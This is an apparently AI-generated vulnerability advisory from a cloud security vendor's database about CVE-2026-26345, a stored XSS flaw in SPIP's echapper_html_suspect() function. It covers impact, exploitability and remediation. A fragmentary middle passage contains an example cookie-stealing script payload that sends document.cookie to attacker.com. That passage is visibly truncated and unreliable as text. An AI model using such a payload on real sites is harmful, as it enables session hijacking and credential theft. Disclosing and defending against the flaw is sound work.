
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-26345 is a stored cross-site scripting (XSS) vulnerability in SPIP, an open-source web publishing framework, affecting versions 4.4.0 through 4.4.7 (before 4.4.8). The flaw resides in the echapper_html_suspect() function, which fails to adequately sanitize user-controlled content in the public area under certain edge-case usage patterns. It was published on February 19, 2026, with a patch released in SPIP 4.4.8. The vulnerability carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 8.6 (High) (SPIP Blog).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The echapper_html_suspect() function in SPIP's public area does not sufficiently sanitize user-supplied input, allowing authenticated users with content-editing privileges (author-level roles and above) to inject persistent malicious scripts. These payloads are stored in the application and rendered across multiple pages, executing in the browser context of any visiting user, including administrators. Notably, SPIP's built-in security screen does not mitigate this vulnerability, making it particularly relevant in environments where the security screen is relied upon as a primary defense (SPIP Blog).
Successful exploitation allows an authenticated attacker with content-editing privileges to inject persistent scripts that execute in the browsers of other users, including administrators. This enables unauthorized modification of application state, session hijacking, credential theft, and the ability to perform privileged actions on behalf of victim users. The payload persists across multiple pages within the SPIP framework, broadening the attack surface beyond the initial injection point.
There is no public proof-of-concept exploit available, and no evidence of in-the-wild exploitation has been reported at this time. Exploitation requires an authenticated account with at least author-level content-editing privileges, and victim interaction (page visit) is necessary to trigger the payload. The EPSS score is approximately 0.027%, reflecting a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Detection plugins are available via Tenable Nessus (plugin IDs 299638 and 300870) (Tenable, Tenable).
echapper_html_suspect() function (e.g., article bodies, descriptions, or other user-editable fields).<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to exfiltrate session cookies or perform actions on behalf of the victim.echapper_html_suspect() sanitization and the SPIP security screen.onerror, onload, <script>).The primary remediation is to upgrade SPIP to version 4.4.8 or later, which addresses the insufficient sanitization in echapper_html_suspect() (SPIP Blog). As interim measures, administrators should restrict content-editing privileges to only fully trusted users, reducing the pool of potential attackers. Additionally, implementing supplementary input validation and output encoding beyond SPIP's default security screen is recommended, as the built-in security screen does not mitigate this vulnerability. A Debian security advisory (DSA-6155-1) has also been issued for affected Debian packages (Debian Advisory).
Debian issued a security advisory (DSA-6155-1) covering this and related SPIP vulnerabilities, prompting package updates for Debian users (Debian Advisory, Linux Security). Tenable released Nessus detection plugins (IDs 299638 and 300870) to assist organizations in identifying vulnerable SPIP installations. Coverage has been limited to security aggregator sites and Linux distribution security channels, with no notable broader media or social media discussion identified.
Fix availability across major Linux distributions and their releases.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."